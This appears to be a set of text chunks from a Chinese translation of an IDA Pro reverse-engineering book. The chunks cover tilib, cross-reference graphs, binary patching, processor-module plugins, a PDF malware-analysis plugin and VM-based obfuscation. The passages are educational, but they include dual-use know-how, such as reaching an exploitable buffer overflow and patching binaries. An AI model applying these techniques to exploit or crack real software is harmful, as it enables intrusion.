1. 这个链接只有已注册用户才能访问。 Hex-Rays 还提供一个名为 tilib 的独立工具，用于在 IDA 以外创建.til 文件。注册用户可以通过Hex-Rays IDA 下载页面下载该实用工具的.zip 文件。要安装这个工具，只需要将.zip 文件解压到<IDADIR>目录中即可。 tilib 实用工具可用于列举现有.til 文件的内容，或通过解析 C（而不是C++ ）头文件来创建新的.til 文件。下面的命令将列举 Visual Studio 6类型库的内容： C:\\Program Files\\IdaPro>tilib -l til\\pc\\vc6win.til 创建新的.til 文件包括命名要解析的头文件及要创建的.til 文件。你可以使用命令行选项来指定其他包含文件目录或之前解析的.til 文件，以解析头文件中包含的任何依赖关系。下面的命令将创建一个包含 ch8_struct 声明的新.til 文件。生成的.til 文件必须移至 <IDADIR>/til 目录才能供 IDA 使用。 C:\\Program Files\\IdaPro>tilib -c -hch8_struct.h ch8.til tilib 实用工具包含大量其他功能， tilib 工具随附的README文件详细介绍了其中一些功能，通过运行不带参数的 tilib 命令可简单了解其他功能。在版本 6.1之前， tilib 仅提供Windows可执行文件，但是它生成的.til 文件可与所有版本的 IDA 兼容。 未知 26.4 小结 在Hex-Rays 开发团队与用户的共同努力下，IDA 调试器的功能越来越强大。Hex-Rays 博客（ http://www.hexblog.com/ ）是你了解这些最新功能的最佳场所，Hex-Rays 开发人员经常会在这里公布最新版本的 IDA 将提供的新功能。追踪用户作出的功能扩展可能需要你付出更多的努力。有时，IDA 支持论坛会公布一些有趣的 IDA 扩展，但你很可能会在各种逆向工程论坛（如 ）看到它们，在 Hex-Rays 的年度插件编写竞赛中看到它们，或者在网上搜索时偶然遇到它们。 IDA 调试器不但功能强大，而且易于扩展。通过本地与远程功能，以及可作为大量流行调试器（如gdb 和WinDbg）的前端，IDA 为各种流行平台提供了一致的调试界面。通过扩展脚本或构建已编译的调试器插件，调试器的功能得到不断扩展。与当前的其他调试器相比，IDA 调试器具有得天独厚的优势，因为它的所有核心开发人员本身也是逆向工程人员，他们的个人与专业兴趣相投，都希望调试器成为一个强大而实用的工具。"},
    {"text": "未知 第9章 交叉引用与绘图功能 在对二进制文件进行逆向工程时，人们提出的一些常见问题包括：“这个函数是从什么地方调用的”和“哪些函数访问了这个数据”。这些及其他类似的问题其实是对程序中各种资源的引用进行分类。有两个例子可说明这类问题的用处。 假设你已经确定了一个函数的位置，该函数包含一个栈分配的可溢出的缓冲区，你可对此加以利用。由于这个函数可能深深隐藏在一个复杂的应用程序中，因此，下一步你需要确定到底如何访问该函数。除非你能够执行这个函数，否则它就对你毫无用处。我们会提出这样一个问题：哪些函数会调用这个易受攻击的函数呢？而数据是由哪些函数传递给易受攻击的函数的呢。在你回溯潜在的调用链，查找那个有助于你利用缓冲区溢出的函数调用时，你必须继续上述推理过程。 另外，如果一个二进制文件包含大量 ASCII 字符串，你会觉得其中至少有一个字符串值得怀疑，如“Executing Denial of Service attack! ”（拒绝服务攻击）。存在这个字符串表明这个二进制文件确实会拒绝服务攻击吗？不是，它只是表示该二进制文件碰巧包含上述特殊的 ASCII 序列。你可能会据此推断，这条消息可能会在实施攻击之前以某种方式显示出来。但是，你需要查找相关代码，以证实自己的怀疑。那么，“程序从什么地方引用这个字符串呢？”这个问题将有助于你迅速跟踪到利用该字符串的程序位置，进而确定具体的拒绝服务攻击代码。 通过强大的交叉引用功能，IDA 将帮助你回答这些问题。IDA 提供大量显示和访问交叉引用数据的机制，包括图形生成功能，它以更加直观的方式显示代码与数据之间的关系。在本章中，我们将讨论IDA 提供的各种交叉引用信息和访问交叉引用数据的工具，以及解释这些数据的方法。 未知 23.7 IdaPdf 基于文档的恶意软件正变得越来越常见。恶意 PDF 文件就是一个典型的例子，这些文档文件旨在利用文档查看软件中的漏洞。分析恶意 PDF 文件（或任何相关的文档文件）需要你了解所分析的文件的结构。通常，通过仔细分析这些文件结构，你可以发现任何在文档被成功打开后将执行的嵌入代码，以攻破查看该文档的计算机。现有的一些 PDF 分析工具主要针对的是命令行用户，其目的是提取最终被加载到 IDA 中的信息，以进行深入分析。 IdaPdf （参见表 23-7 ）由一个 IDA 加载器模块和一个 IDA 插件模块组成，这两个模块都设计用于分析 PDF 文件。IdaPdf 的加载器组件将识别 PDF 文件并将其加载到一个新的 IDA 数据库中。加载器负责分割 PDF 文件。在加载过程中，加载器将尽一切努力提取并过滤出所有 PDF 流对象。由于加载器模块会在加载过程完成后退出，这时就需要第二个组件（即 IdaPdf 插件），以提供初始加载以外的 PDF 分析功能。插件模块在确认已加载 PDF 文件后，将继续枚举文件中的所有PDF 对象，并打开一个新的选项卡式窗口，其中列出每一个 PDF 对象。下面的代码清单列出了PDF Objects窗口所包含的信息。 Num Location Type Data Offs Data size Filters Filtered stream Filtered size Ascii 17 000e20fe Stream 000e2107 313 /FlateDecode 000f4080 210 No 35 00000010 Dictionary 00000019 66 Yes 36 000002a3 Dictionary 000002ac 122 Yes 37 0000032e Stream 00000337 470 [/FlateDecode] 000f4170 1367 Yes 表23-7 Idapdf 名称 IdaPdf 作者 Chris Eagle 发布 C++ 源代码 价格 免费 描述 用于分析并浏览PDF 文件的PDF 加载器和插件 信息 http://www.idabook.com/idapdf/ 上面的代码清单中显示了对象编号及位置、对象的数据、任何必须应用于流对象的过滤器，以及一个指向提取出的、未过滤数据的指针。使用上下文菜单项可实现轻松导航，以查看对象数据或任何提取的已过滤数据。通过上下文菜单项还可以选择是提取原始对象数据还是已过滤的对象数据。Ascii列指出，插件已尽最大努力确定对象的原始或已过滤版本中是否仅包含ASCII 数据。 最后，在启动之后，IdaPdf 会在Edit ▶Other下添加两个新的菜单项。你可以使用这些菜单项突出显示数据库中的一个数据块，然后要求插件对这些数据进行 Base64 解码，或 unescape 1 这些数据，并将结果复制到 IDA 中的一个新建部分。这些未编码的数据通常就是 PDF 文件中的恶意负载。由于插件会将这些数据提取到新的 IDA 段中，因此你可以轻易地导航到这些数据，并要求IDA 反汇编部分或全部数据。 1. 实现JavaScript unescape函数的插件。"},
    {"text": "未知 19.6 处理器模块体系结构 在着手设计处理器模块时，你需要考虑的一件事情是该处理器是否会与某个特定的加载器紧密耦合，或者是否能够与所有加载器解耦。以 x86 处理器模块为例，这个模块不对被反汇编的文件的类型做任何假设。因此，它可以与一系列加载器结合使用，如 PE、ELF 和Mach-O加载器。 同样，如果加载器能够独立于文件所使用的处理器而处理一种文件格式，则说明该加载器能够用于多种用途。例如，无论是包含 x86 代码或是 ARM代码，PE加载器都能正常运行；无论是包含x86、MIPS或SPARC代码，ELF 加载器都能正常运行；无论是包含 PPC 或x86 代码，Mach-O加载器都能正常运行。 实际中的 CPU 适用于创建不依赖于特定的输入文件格式的处理器模块。另一方面，虚拟机语言却造成更大的挑战。虽然有大量加载器（如 ELF 、a.out 和PE加载器）可用于加载在本地硬件上运行的代码，但虚拟机通常同时充当加载器和CPU 。结果，对虚拟机来说，文件格式和基本的字节码密切相关，缺乏其中一方，另一方将不可能存在。在开发 Python 处理器模块的过程中，我们曾多次遇到这种限制。许多时候，如果对正被反汇编的文件的布局缺乏更加深入的了解，我们将很难生成更具可读性的输出。 为了使Python 处理器能够访问它所需要的其他信息，我们可以构建一个 Python 加载器，以特定Python 处理器的方式配置数据库，以便 Python 处理器知道到底在什么地方找到它需要的信息。在这种情况下，加载器需要向处理器传递大量加载器状态数据。其中一种方法是将这些数据存储在数据库网络节点中，随后，处理器模块可以获取这些数据。 另外，也可以构建一个只可以识别.pyc 文件的加载器，然后把所有加载任务交给处理器模块来完成，这样，处理器肯定知道如何定位反汇编.pyc 文件所需的全部信息。 通过允许加载器将所有加载操作“委派”给相关的处理器模块，IDA 帮助我们创建紧密耦合的加载器和处理器模块。SDK 中的Java 加载器和Java 处理器模块就是以这种方式创建的。要想使加载器能够将加载任务委派给处理器模块，加载器必须首先通过返回 f_LOADER 的文件类型（在ida.hpp 中定义）接受一个文件。如果加载器由用户选择，则加载器的 load_file 函数应确保在必要时通过调用 set_processor_type （见idp.hpp）指定正确的处理器类型，然后向该处理器发送一条加载器通知消息。为构建一个紧密耦合的 Python 加载器/ 处理器组合，我们应使用下面的 load_file 函数构建加载器： void idaapi load_file(linput_t *li, ushort neflag, const char *) { if (ph.id != PLFM_PYTHON) { //shared processor ID set_processor_type(\"python\", SETPROC_ALL|SETPROC_FATAL); } //tell the python processor module to do the loading for us //by sending the processor_t::loader notification message if (ph.notify(processor_t::loader, li, neflag)) { error(\"Python processor/loader failed\"); } } 处理器模块收到 loader 通知时，它将负责将输入文件映射到数据库中，并确保它能够访问它在 ana、emu 和 out 阶段所需的任何信息。读者可以在本书的配套网站上找到一个以这种方式运行的Python 加载器和处理器组合。"},
    {"text": "随后，IDA 会创建一个数据库，其组件分别保存在4 个文件中，这些文件的名称与选定的可执行文件的名称相同，扩展名分别为.id0 、.id1 、.nam 和.til。"},
    {"text": "值得注意的是，一旦IDA 为某个可执行文件创建数据库，它就不再需要访问这个可执行文件，除非你希望使用IDA 的集成调试器调试这个可执行文件本身。"},
    {"text": "在这个过程中，IDA 会将控制权转交给你选定的加载器模块，该模块的工作包括：从磁盘加载文件，解析它能够识别的任何文件头信息，创建各种包含代码或数据（在文件头中指定）的程序块，最后在将控制权返还IDA 之前确定特定的代码入口点。"},
    {"text": "如果 IDA 认为它已经找到了文件中的所有指令，它会第二次遍历指令地址列表，并请处理器模块将每个指令转换成汇编语言，然后将它们显示出来。"},
    {"text": "编译器识别 。 通常，了解构建软件所使用的编译器会对我们有所帮助。 识别所使用的编译器可帮助我们了解二进制文件使用的函数调用约定，并确定该二进制文件链接到哪些库。 在加载文件时，IDA 会尝试确定用于创建输入文件的编译器。"},
    {"text": "4.2.2 关闭IDA 数据库 任何时候你关闭一个数据库，无论你是完全关闭 IDA ，还是切换到另一个数据库，IDA 都将显示一个 Save database （保存数据库）对话框，如图 4-6 所示。 图4-6 Save database 对话框 如果这是你初次保存一个新建的数据库，IDA 会用扩展名.idb 替换输入文件的扩展名，从而生成新数据库的文件名，例如，example.exe会生成名为 example.idb 的数据库。 如果输入文件没有扩展名，IDA 会将.idb 附加到输入文件名称后面，构成数据库名称，如 httpd生成httpd.idb 。"},
    {"text": "一旦你重启 IDA并尝试再次打开受影响的数据库，IDA 可能会显示如图 4-7 和图4-8 所示的对话框。 图4-7 恢复数据库的对话框 图4-8 修复数据库的对话框 IDA 崩溃时，IDA 并没有机会关闭处于活动状态的数据库，也无法删除中间文件。"},
    {"text": "如果你并不是第一次处理某个数据库，这可能会导致 IDB 文件和可能遭到破坏的中间文件并存。 IDB 文件是你上次保存的、状态良好的数据库文件，而中间文件则包含上次保存后你做的任何更改。"},
    {"text": "未知 2.4 小结 本章所讨论的工具不一定是同类中最优秀的，但是，它们是从事二进制文件逆向工程的分析人员常用的工具。更重要的是，这些工具大大促进了 IDA 的开发过程。在接下来的几章中，我们还会讨论这些工具。掌握这些工具可为你了解 IDA 的用户界面以及显示它提供的许多信息提供极大的帮助。 未知 第5章 IDA 数据显示窗口 现在，你已经能够自信地将二进制文件加载到IDA 中，一边喝着自己喜欢的饮料，一边让IDA 发挥它的“魔力”。IDA 完成初始分析后，该是你接管控制权的时候了。熟悉IDA显示的最佳方法是，浏览IDA 用于显示二进制数据的各种带标签的子窗口。对IDA 越熟悉，执行逆向工程任务的效率也越高。 在详细介绍IDA 的主要子窗口之前，首先了解IDA 用户界面的如下基本规则会有所帮助。 IDA 不提供撤销功能 。如果由于你不小心按下某个键，导致数据库文件发生意外，这时，你必须自己将显示窗口恢复到以前的状态。 几乎所有的操作都有其对应的菜单项、热键和工具栏按钮 。记住，IDA 的工具栏高度可配置，就像热键对菜单操作的映射一样。 IDA 提供方便的、基于上下文的鼠标右键操作菜单 。虽然这些菜单无法提供在某个位置允许执行的操作的详尽列表，但你可以用它们执行一些最常见的操作。 了解这些规则之后，下面开始介绍IDA 主要的数据显示窗口。"},
    {"text": "未知 14.1 隐藏的补丁程序菜单 如第11 章所述，Edit ▶Patch Program 菜单是GUI 版本的 IDA 的一项隐藏功能，用户需要编辑idagui.cfg配置文件才能激活该菜单（默认情况下，控制台版本的IDA 的Patch菜单是可用的）。"},
    {"text": "Edit ▶Patch Program 子菜单中的可用选项如图 14-1 所示。 图14-1 Patch program 子菜单 其中的每一个菜单项均表明，你能够以某种有趣的方式修改二进制文件。"},
    {"text": "你可以更改对话框中显示的部分或全部字节，但是，如果不关闭该对话框，将光标重新定位到一个新的数据库位置，并重新打开该对话框，你将不能修改这 16 个字节以外的其他字节。"},
    {"text": "14.1.2 更改数据库中的字 相比于字节修补功能，IDA 的字修补功能的作用更加有限。 IDA 的Patch Word 对话框如 图14-3 所示，它一次只能修补一个 2 字节的字。"},
    {"text": "单击 OK（或按下 ENTER键）后，IDA 将汇编你输入的指令，并将对应的指令字节输入数据库中，这些指令字节的起始地址为Address字段中显示的虚拟地址。"},
    {"text": "输入一条指令后，该对话框仍处于打开状态，并准备在紧接输入的前一条指令之后的虚拟地址上接受另一条新指令。 在你输入其他指令后，该对话框将在 Previous line字段中显示你输入的前一条指令。"},
    {"text": "下面这个 PE文件的反汇编代码清单即证实了这种情况： .text:0040963E ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD \"+\" TO EXPAND] .text:00409644 ➊ align 200h .text:00409644 _text ends .text:00409644 .idata:0040A000 ; Section 2. (virtual address 0000A000) 在这个代码清单中，IDA 使用一个对齐指令（➊）指出该节被填充到一个 512 字节（ 200h ）的边界，其起始地址为 .text:00409644 ，其终点为下一个整数倍的 512 字节， . text:00409800 。"},
    {"text": "在这个特殊的二进制文件中，文件中的空间足够插入最大为 444（0x1BC=409800h 409644h）字节的补丁数据，这些数据将覆盖 .text 节末尾的一部分或全部以零填充的区域。"},
    {"text": "未知 19.5 定制现有的处理器 可能你正考虑开发处理器模块，但你会注意到，现有的处理器模块几乎能够执行你所需的任何操作。如果你拥有处理器模块的源代码，可以轻松地对其进行修改，以满足自己的需要。另一方面，如果你没有源代码，那么你可能不太幸运。幸好 IDA 提供了一种通过插件定制现有处理器的机制。通过“钩住”处理器通知，插件模块可以拦截对现有处理器的分析器、模拟器和输出器阶段的一次或多次调用。定制一个处理器的潜在应用包括以下几项。 扩展现有处理器的功能，使其能够识别其他指令。 更正现有处理器模块中受到破坏的功能（虽然告诉 Ilfak 你发现了一个缺陷，它会更快得到修复）。 定制现有处理器模块的输出，使其满足你的特殊要求。 下面的通知代码在 processor_t 中声明，在idp.hpp 中讨论，想要拦截对处理器各个阶段的调用的插件可能会“钩住”这些代码。 custom_ana ：作用与 u_ana 相同，但任何新指令必须使用一个等于或大于0x8000 的 cmd.itype 值。 custom_emu ：模拟自定义指令类型。如果希望调用处理器现有的模拟器，可以调用 (*ph.u_emu)() custom_out ：为自定义指令提供输出，或为现有指令提供自定义输出。如果希望调用处理器的 out 函数，可以调用 (*ph.u_out)() 。 custom_outop ：输出一个自定义操作数。如果你希望调用处理器现有的 outop 函数，可以调用 (*ph.u_outop)(op) 。 custom_mnem ：为一个自定义指令生成助记符。 下面的代码摘自一个插件，该插件修改 x86 处理器模块的输出，用一个 cya 指令替换 leave 指令，并交换包含两个操作数的指令中操作数的显示顺序（类似于 AT & T 语法）： int idaapi init(void) { ➊ if (ph.id != PLFM_386) return PLUGIN_SKIP; ➋ hook_to_notification_point(HT_IDP, hook, NULL); return PLUGIN_KEEP; } int idaapi hook(void *user_data, int notification_code, va_list va) { switch (notification_code) { case processor_t::custom_out: { ➌ if (cmd.itype == NN_leave) { //intercept the leave instruction ➍ MakeLine(SCOLOR_ON SCOLOR_INSN \"cya\" SCOLOR_OFF); return 2; } else if (cmd.Op2.type != o_void) { //intercept 2 operand instructions op_t op1 = cmd.Op1; op_t op2 = cmd.Op2; cmd.Op1 = op2; cmd.Op2 = op1; ➎ (*ph.u_out)(); cmd.Op1 = op1; cmd.Op2 = op2; return 2; } } } return 0; } plugin_t PLUGIN = { IDP_INTERFACE_VERSION, ➏ PLUGIN_PROC | PLUGIN_HIDE | PLUGIN_MOD, // plugin flags init, // initialize term, // terminate. this pointer may be NULL. run, // invoke plugin comment, // long comment about the plugin help, // multiline help about the plugin wanted_name, // the preferred short name of the plugin wanted_hotkey // the preferred hotkey to run the plugin }; 这个插件的 init 函数确认当前处理器为 x86 处理器（➊ ），然后“钩住”处理器通知（➋）。在 hook 回调函数中，插件处理 custom_out 通知，以识别 leave 指令（➌），并生成一个替代的输出行（➍ ）。对于包含两个操作数的指令， hook 函数会临时保存与当前指令关联的操作数，然后交换它们在指令中的顺序，最后调用 x86 处理器的 u_out 函数（➎）来处理与打印输出行有关的全部细节。在返回时，当前指令的操作数还原到它们最初的顺序。最后，插件的标志（➏）指出：插件应在处理器加载时加载，不得在 Edit ▶Plugins 菜单中列出，并可以修改数据库。下面的输出说明了该插件所进行的自定义效果： .text:00401350 push ebp ➐ .text:00401351 mov 400000h, edx .text:00401356 mov esp, ebp ➐ .text:00401358 mov offset unk_402060, eax ➐ .text:0040135D sub 0Ch, esp .text:00401360 mov edx, [esp+8] .text:00401364 mov eax, [esp+4] ➐ .text:00401368 mov offset unk_402060, [esp] .text:0040136F call sub_401320 ➑ .text:00401374 cya .text:00401375 retn 可以看到，在这 4 条指令（➐）中，常量作为第一个操作数出现，且 cya 指令替代了leave指令（➑）。 在第21 章中，我们将使用自定义处理器插件帮助分析特定类型的模糊二进制文件。"},
    {"text": "未知 4.4 初始分析时的桌面行为 在对一个新打开的文件进行初始自动分析的过程中，桌面上会发生大量活动。通过观察分析过程中的各种桌面显示，用户可初步了解分析情况。你所观察到的桌面活动包括以下内容。 消息输出窗口显示的进度消息。 反汇编窗口显示的初始位置和反汇编输出。 Functions 窗口中显示的初始值，以及在分析过程中的定期更新。 当二进制文件中的新区域被识别为代码和数据，代码块被进一步识别为函数，以及最后使用IDA 的模式匹配技术将函数识别为代码块时，导航带的变化情况。 当前位置指示符在导航带上移动，指明当前正在分析的区域。 下面的输出是在对一个新打开的二进制文件进行初始分析时 IDA 生成的典型消息。值得注意的是，这些消息记述了分析过程，并为我们了解 IDA 在分析过程中所执行的操作序列提供了帮助。 Loading file 'C:\\IdaBook\\ch4_example.exe' into database... Detected file format: Portable executable for 80386 (PE) 0. Creating a new segment (00401000-0040C000) ... ... OK 1. Creating a new segment (0040C000-0040E000) ... ... OK 2. Creating a new segment (0040E000-00411000) ... ... OK Reading imports directory... 3. Creating a new segment (0040C120-0040E000) ... ... OK Plan FLIRT signature: Microsoft VisualC 2-10/net runtime autoload.cfg: vc32rtf.sig autoloads mssdk.til Assuming __cdecl calling convention by default main() function at 401070, named \"_main\" Marking typical code sequences... Flushing buffers, please wait...ok File 'C:\\IdaBook\\ch4_example.exe' is successfully loaded into the database. Compiling file 'C:\\Program Files\\IdaPro\\idc\\ida.idc'... Executing function 'main'... Compiling file 'C:\\Program Files\\IdaPro\\idc\\onload.idc'... Executing function 'OnLoad'... IDA is analysing the input file... ➊ You may start to explore the input file right now. ------------------------------------------------------------------------------ Python 2.6.5 (r265:79096, Mar 19 2010, 21:48:26) [MSC v.1500 32 bit (Intel)] IDAPython v1.4.2 final (serial 0) (c) The IDAPython Team idapython@googlegroups.com ------------------------------------------------------------------------------ Using FLIRT signature: Microsoft VisualC 2-10/net runtime Propagating type information... Function argument information has been propagated ➋ The initial autoanalysis has been finished. 其中， You may start to explore the input file right now （➊，现在可以开始研究输入文件了）和 The initial autoanalysis has been finished （➋，初始分析已完成）是两条特别有用的进程消息。第一条消息通知用户，IDA 的分析已取得巨大进展，可以开始浏览各种数据显示窗口。但是，浏览并不意味着更改，你应该等到分析彻底完成，再对数据库进行修改。如果你尝试在分析完成之前更改数据库，分析引擎随后可能会修改你所做的更改，或者你的做法会导致分析引擎无法正常工作。第二条消息的意思相当明显，它表示自此以后，桌面数据显示窗口的内容将不再自动更改。这时，你可以对数据库进行任意修改。 未知 13.3 小结 虽然 idsutils 和 loadint 现在似乎对你没有什么用处，但是，只要开始应用 IDA 的高级功能，你就需要用到这些实用工具。只需要花一点点时间创建一个.ids 或.til 文件，随后，如果你在将来的项目中遇到由这些文件描述的库，就可以节省大量的时间。记住，IDA 不可能为现有的每一个库提供注释。本章介绍的工具旨在帮助你全面了解 IDA 中的库。 未知 第7章 反汇编操作 继导航之后，IDA 提供的另一项重要功能是让你根据需要修改反汇编代码。由于IDA 基础数据库的本质，你对反汇编代码所做的更改将迅速“扩散”到IDA 的所有子窗口中，以使反汇编代码保持一致，而这正是本章要向读者展示的内容。IDA 提供的一项最强大的功能能够帮助你轻松操作反汇编代码，在其中添加新的信息，或重新格式化一个代码清单，以满足你的特殊要求。在必要时，IDA 能够自动处理各种操作，如全局搜索和替换，并可轻易对指令和数据重新格式化（或将格式化后的指令和数据还原），这些都是其他反汇编工具所不具备的功能。 说明 记住，IDA 不提供撤销功能。在操纵数据库时，请一定记住这一点。你所能做的，就是经常保存数据库，并恢复到最近保存的数据库版本。"},
    {"text": "未知 第23章 实用IDA 插件 近些年来，IDA 有了各种各样的用途，但这毫不奇怪，因为人们为 IDA 开发出大量插件以增强它的功能，从而也满足自己的特殊需求。如果你想利用其他人的劳动成果，就应知道，关于公开发布的插件，并没有所谓的“一站式服务”。你主要可以在3 个地方找到相关插件：Hex-Rays 下载页面 1 、OpenRCE下载页面 2 以及 RCE 逆向工程论坛 3 。当然，花一些时间搜索Google 可能会有意想不到的收获。 1. 参见 http://www.hex-rays.com/idapro/idadown.htm 。 2. 参见 http://www.openrce.org/downloads/ 。 3. 参见 http://www.woodmann.com/forum/index.php 。 和任何其他公开发布的软件一样，在安装第三方插件时，你可能会面临一些挑战。如果插件开发者决定公布其劳动成果，那么他会以源代码、编译二进制文件或同时以这两种形式发布插件。如果必须由源代码构建插件，你必须处理由插件作者提供的生成文件（或同等的其他文件），这个文件可能适合、也可能不适合你的编译器配置。另一方面，如果插件以二进制格式发布，它可能使用与你的 IDA 版本不兼容的SDK 版本构建，这意味着在插件作者发布一个更新的版本之前，你根本不能运行这个插件。最后，要构建、运行（或构建和运行）插件，你可能需要满足一些外部依赖关系。 本章将介绍几种常用的 IDA 插件，介绍它们的作用、获取方法以及如何构建、安装和使用它们。"},
    {"text": "未知 21.4 基于虚拟机的模糊 如本章前面所述（见 21.1.2 节中的“操作码模糊”），一些最复杂的模糊器使用自定义字节码及相关的虚拟机重新实现了原本具有输入接收功能的程序。面对以这种方式模糊的二进制文件，你看到的唯一本机代码为虚拟机。假设你认识到所看到的是软件虚拟机，那么一般而言，完全了解所有这些代码并不能揭示该模糊程序的真实意图。这是因为程序的行为仍然隐藏在必须由虚拟机解释的嵌入式字节码中。要完全了解这个程序，首先你必须定位所有的嵌入式字节码，然后逆向工程虚拟机的指令集，以便能够正确解释该字节码的含义。 作为比较，想象一下，如果你对 Java 一无所知，有人给你一个 Java 虚拟机和一个包含已编译字节码的.class 文件，并问你它们有什么作用。由于缺乏任何文档资料，你可能对字节码文件知之甚少，并且你需要完全逆向工程虚拟机才能了解.class 文件的结构以及如何解释它的内容。对字节码机器语言有一定了解后，接下来你就可以了解.class 文件的作用。 VMProtect是一款利用非常复杂的基于虚拟机的模糊技术的商业产品。更多是作为一种学术活动，TheHyper的HyperUnpackMe2 1 挑战二进制文件是在模糊中使用虚拟机的一个相当简单的示例，主要的挑战在于定位虚拟机的嵌入式字节码程序并确定每个字节码的含义。在OpenRCE上描述HyperUnpackMe2的文章 2 中，Rolf Rolles 采用的方法是：充分了解虚拟机以构建一个能够反汇编其字节码的处理器模块。然后，他使用该处理器模块来反汇编嵌入到所挑战的二进制文件中的字节码。使用这个方法存在一个小限制，通过它你可以查看 HyperUnpackme2中的x86 代码（使用IDA 的x86 模块）或虚拟机代码（使用 Rolle的处理器模块），但不能同时查看这两种代码。为此，你需要创建两个不同的数据库（每个数据库使用不同的处理器模块）。另一种方法是在使用插件的过程中利用定制现有处理器模块的功能（参见19.5 节），来有效扩展指令集，在其中包括嵌入式虚拟机的所有指令。将这种方法应用于HyperUnpackMe2，我们就可以在一个数据库中同时查看 x86 代码和虚拟机代码了，如下面的清单所示： 1. HyperUnpackMe2 是一个crackme。——译者注 2. 参见 http://www.openrce.org/articles/full_view/28 网站的“Defeating HyperUnpackMe2 With an IDA Processor Module ”。 TheHyper:01013B2F ➊ h_pop.l R9 TheHyper:01013B32 h_pop.l R7 TheHyper:01013B35 h_pop.l R5 TheHyper:01013B38 h_mov.l SP, R2 TheHyper:01013B3C h_sub.l SP, 0Ch TheHyper:01013B44 h_pop.l R2 TheHyper:01013B47 h_pop.l R1 TheHyper:01013B4A h_retn 0Ch TheHyper:01013B4A sub_1013919 endp TheHyper:01013B4A TheHyper:01013B4A ; ---------------------------------------------------------- TheHyper:01013B4D dd 24242424h TheHyper:01013B51 dd 0A9A4285Dh ; TAG VALUE TheHyper:01013B55 TheHyper:01013B55 ; ============ S U B R O U T I N E ========================= TheHyper:01013B55 TheHyper:01013B55 ; Attributes: bp-based frame TheHyper:01013B55 TheHyper:01013B55 sub_1013B55 proc near ; DATA XREF: TheHyper:0103AF7A?o TheHyper:01013B55 TheHyper:01013B55 var_8 = dword ptr -8 TheHyper:01013B55 var_4 = dword ptr -4 TheHyper:01013B55 arg_0 = dword ptr 8 TheHyper:01013B55 arg_4 = dword ptr 0Ch TheHyper:01013B55 TheHyper:01013B55 ➋ push ebp TheHyper:01013B56 mov ebp, esp TheHyper:01013B58 sub esp, 8 TheHyper:01013B5B mov eax, [ebp+arg_0] TheHyper:01013B5E mov [esp+8+var_8], eax TheHyper:01013B61 mov [esp+8+var_4], 0 TheHyper:01013B69 push 4 TheHyper:01013B6B push 1000h 其中，从➊处开始的代码被反汇编成 HyperUnpackMe2字节码，而➋处以后的代码则以 x86代码显示。 Hex-Rays 预料到了同步显示本机代码和字节码的功能，并在 IDA 5.7 中引入了自定义数据类型和格式。如果 IDA 的内置格式化选项无法满足你的需求，这时就可以使用自定义数据格式。为格式指定（使用脚本或插件）一个菜单名，并指定一个执行格式化的函数，就可以注册新的格式化功能。为某个数据项选择自定义格式后，每次需要显示该数据项，IDA 都会调用格式化函数。如果IDA 的内置数据类型并不足以表示你在特定二进制文件中遇到的数据，这时就需要用到自定义数据类型。与自定义格式一样，自定义数据类型也使用脚本或插件进行注册。Hex-Rays 示例注册了一个自定义数据类型来指派虚拟机字节码，并通过使用一种自定义数据格式将每个字节码显示为一条指令。这种方法的缺点在于，它需要你定位每条虚拟机指令，并明确更改其数据类型。使用自定义处理器扩展，将单个值自动指派为虚拟机指令可发现每条可到达的指令，因为IDA会推动反汇编进程，且处理器扩展会通过它的 custom_emu实现来发现可到达的新指令。"},
    {"text": "未知 9.2 IDA 绘图 因为交叉引用反映的是地址之间的关系，因此，若想要描绘二进制文件的图形，它们自然就成为我们的起点。 特定于某些类型的交叉引用，我们可以绘制大量有用的图形，用于分析二进制文件。"},
    {"text": "一般来说，除最后一条指令外，基本块中的每条指令都将控制权转交给它后面的“继任”指令。 同样，除第一条指令外，基本块中的每条指令都从它“前任”指令那里接收控制权。"},
    {"text": "这个特点会对程序的运行时检测产生重大影响，因为这时不再需要为程序中的每一条指令设置一个断点，或者逐步执行程序，以记录程序执行的每一条指令。"},
    {"text": "2. 外部调用图 函数调用图可帮助我们迅速理解程序中函数调用的层次结构。 首先为程序中的每个函数创建一个图形节点，然后再根据函数之间的调用交叉引用将函数节点连接起来，即可生成调用图。"},
    {"text": "为静态链接二进制文件生成图形也面临着另一个挑战，因为静态链接二进制文件中包含链接到程序的所有库的代码，这时生成的函数调用图可能非常巨大。"},
    {"text": "基本上，这个程序仅仅创建了一个简单的函数调用层次结构： #include void depth_2_1() { printf(\"inside depth_2_1\\n\"); } void depth_2_2() { fprintf(stderr, \"inside depth_2_2\\n\"); } void depth_1() { depth_2_1(); depth_2_2(); printf(\"inside depth_1\\n\"); } int main() { depth_1(); } 使用GNU gcc 编译一个动态链接的二进制文件后，可以使用 View▶Graphs ▶Function Calls要求IDA 生成一个函数调用图，从而得到与图 9-7 类似的图形。"},
    {"text": "图9-7 外部函数调用图 细心的读者可能已经留意到，编译器分别用 puts 和 fwrite 替换了 printf 和 fprintf ，因为前两个函数在打印静态字符串时更加高效。"},
    {"text": "图9-8 静态链接库的函数调用图 图9-8 显示了外部图形的一种常见行为，即最初它们总是缩小图形的比率，以显示整幅图形，这可能会导致非常杂乱的显示结果。"},
    {"text": "3. 外部交叉引用图 IDA 可以为全局符号（函数或全局变量）生成两种类型的交叉引用图：目标符号交叉引用图［View▶Graphs ▶Xrefs To（交叉引用目标）］和源符号交叉引用图［View▶Graphs ▶Xrefs From（交叉引用源头）］。"},
    {"text": "如果符号是一个函数名，则只跟踪以该函数为源头的调用引用，因此，图形中不会显示对全局变量的数据引用。 如果符号是一个初始化全局指针变量（表示它确实指向某个项目），则跟踪其对应的数据偏移量交叉引用。"},
    {"text": "如果要以图形表示以一个函数为源头的交叉引用，最好是绘制以该函数为源头的函数调用图，如图 9-10 所示。 图9-9 “交叉引用目标”图形 图9-10 “交叉引用源头”图形 可惜，如果一个函数的调用图非常复杂，那么，在以图形表示该函数的交叉引用时，同样会得到极其杂乱的图形。"},
    {"text": "4. 自定义交叉引用图 自定义交叉引用图在 IDA 中叫做 用户交叉引用图 （user xref chart ），它在生成交叉引用图方面提供了最大的灵活性，以适应用户的需求。"},
    {"text": "除了将以某个符号为目标和以该符号为源头的交叉引用组合到单独一幅图外，自定义交叉引用图还允许你指定最大递归深度，以及生成的图形应包括或排除的符号类型。"},
    {"text": "如果其他选项均使用默认设置，将起始方向限制为“交叉引用目标”（Cross references to ）将得到一幅“交叉引用目标”图，而将起始方向限制为“交叉引用源头”（Cross references from ）将得到一幅“交叉引用源头”图。"},
